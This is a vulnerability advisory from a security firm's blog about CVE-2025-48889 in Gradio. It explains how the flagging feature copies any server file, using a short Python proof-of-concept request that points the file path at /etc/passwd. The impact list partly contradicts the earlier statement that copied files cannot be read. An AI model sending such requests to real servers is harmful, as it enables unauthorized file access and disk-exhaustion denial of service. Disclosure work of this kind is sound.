Skip to content
CVE-2025-48889: Gradio Unauthorized File Copy via Path Manipulation

CVE-2025-48889: Gradio Unauthorized File Copy via Path Manipulation

Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.Artemiy Malyshau· Co-founder & CTO2 min read

Key takeaways

  • An arbitrary file copy vulnerability in Gradio’s flagging feature allows unauthenticated attackers to copy any readable file from the server’s filesystem.
  • The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio’s flagged directory:
  • The vulnerability has severe security implications:

Original finding credits#

Below is our duplicate finding. Edit made on October 13th, 2025.

Description#

An arbitrary file copy vulnerability in Gradio’s flagging feature allows unauthenticated attackers to copy any readable file from the server’s filesystem. While attackers can’t read these copied files, they can cause DoS by copying large files (like /dev/urandom) to fill disk space.

The flagging component doesn’t properly validate file paths before copying files. Attackers can send specially crafted requests to the /gradio_api/run/predict endpoint to trigger these file copies.

Source - Sink Analysis#

Source: User-controlled path parameter in the flagging functionality JSON payload
Sink: shutil.copy operation in FileData._copy_to_dir() method

The vulnerable code flow:

  1. A JSON payload is sent to the /gradio_api/run/predict endpoint
  2. The path field within FileData object can reference any file on the system
  3. When processing this request, the Component.flag() method creates a GradioDataModel object
  4. The FileData._copy_to_dir() method uses this path without proper validation:
<code class="hljs language-python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">_copy_to_dir</span>(<span class="hljs-params">self, <span class="hljs-built_in">dir</span>: <span class="hljs-built_in">str</span></span>) -> FileData:
    pathlib.Path(<span class="hljs-built_in">dir</span>).mkdir(exist_ok=<span class="hljs-literal">True</span>)
    new_obj = <span class="hljs-built_in">dict</span>(<span class="hljs-variable language_">self</span>)

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> <span class="hljs-variable language_">self</span>.path:
        <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"Source file path is not set"</span>)
    new_name = shutil.copy(<span class="hljs-variable language_">self</span>.path, <span class="hljs-built_in">dir</span>)  <span class="hljs-comment"># vulnerable sink</span>
    new_obj[<span class="hljs-string">"path"</span>] = new_name
    <span class="hljs-keyword">return</span> <span class="hljs-variable language_">self</span>.__class__(**new_obj)
</code>
  1. The lack of validation allows copying any file the Gradio process can read

Proof of Concept#

The following script demonstrates the vulnerability by copying /etc/passwd from the server to Gradio’s flagged directory:

Setup a Gradio app:

<code class="hljs language-python"><span class="hljs-keyword">import</span> gradio <span class="hljs-keyword">as</span> gr

<span class="hljs-keyword">def</span> <span class="hljs-title function_">image_classifier</span>(<span class="hljs-params">inp</span>):
    <span class="hljs-keyword">return</span> {<span class="hljs-string">'cat'</span>: <span class="hljs-number">0.2</span>, <span class="hljs-string">'dog'</span>: <span class="hljs-number">0.8</span>}

test = gr.Interface(fn=image_classifier, inputs=<span class="hljs-string">"image"</span>, outputs=<span class="hljs-string">"label"</span>)

test.launch(share=<span class="hljs-literal">True</span>)
</code>

Run the PoC:

<code class="hljs language-python"><span class="hljs-keyword">import</span> requests

url = <span class="hljs-string">"https://[your-gradio-app-url]/gradio_api/run/predict"</span>  
headers = {
    <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"application/json"</span>,  
    <span class="hljs-string">"User-Agent"</span>: <span class="hljs-string">"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"</span> 
}

payload = {
    <span class="hljs-string">"data"</span>: [
        {
            <span class="hljs-string">"path"</span>: <span class="hljs-string">"/etc/passwd"</span>,  
            <span class="hljs-string">"url"</span>: <span class="hljs-string">"[your-gradio-app-url]"</span>,
            <span class="hljs-string">"orig_name"</span>: <span class="hljs-string">"network_config"</span>, 
            <span class="hljs-string">"size"</span>: <span class="hljs-number">5000</span>,  
            <span class="hljs-string">"mime_type"</span>: <span class="hljs-string">"text/plain"</span>, 
            <span class="hljs-string">"meta"</span>: {
                <span class="hljs-string">"_type"</span>: <span class="hljs-string">"gradio.FileData"</span>  
            }
        },
        {}  
    ],
    <span class="hljs-string">"event_data"</span>: <span class="hljs-literal">None</span>,
    <span class="hljs-string">"fn_index"</span>: <span class="hljs-number">4</span>, 
    <span class="hljs-string">"trigger_id"</span>: <span class="hljs-number">11</span>, 
    <span class="hljs-string">"session_hash"</span>: <span class="hljs-string">"test123"</span>  
}

response = requests.post(url, headers=headers, json=payload)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Status Code: <span class="hljs-subst">{response.status_code}</span>"</span>)
<span class="hljs-built_in">print</span>(<span class="hljs-string">f"Response Body: <span class="hljs-subst">{response.text}</span>"</span>)
</code>

Impact#

The vulnerability has severe security implications:

  • Attackers can access sensitive system files (/etc/passwd, /etc/shadow, etc.), configuration files containing credentials and API keys, database connection strings, and private SSH keys.
  • Internal application details, proprietary code, and business logic can be exposed, leading to intellectual property theft.
  • Information gathered through this could facilitate further attacks by revealing user accounts, configuration details, and security implementations.
  • Attackers can exploit this vulnerability to target large system files (e.g., /dev/zero or /dev/urandom) or critical system files, potentially causing the application to crash or become unresponsive due to resource exhaustion.
  • If the application processes or stores sensitive user information, this vulnerability could lead to unauthorized access to this data, potentially violating data protection requirements.
Grayscale portrait of a young man looking left, wearing a striped lanyard, with an olive green dot pattern background.

Artemiy Malyshau

Co-founder & CTO

Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.

Frequently asked questions

Related content

The latest news, technologies, and resources from our team.

Subscribe to the Gecko Security newsletter

Occasional updates, new content, and insights. No spam; unsubscribe anytime.

We use your email only to send you our newsletter. See our privacy policy for how we handle your data. You can unsubscribe at any time.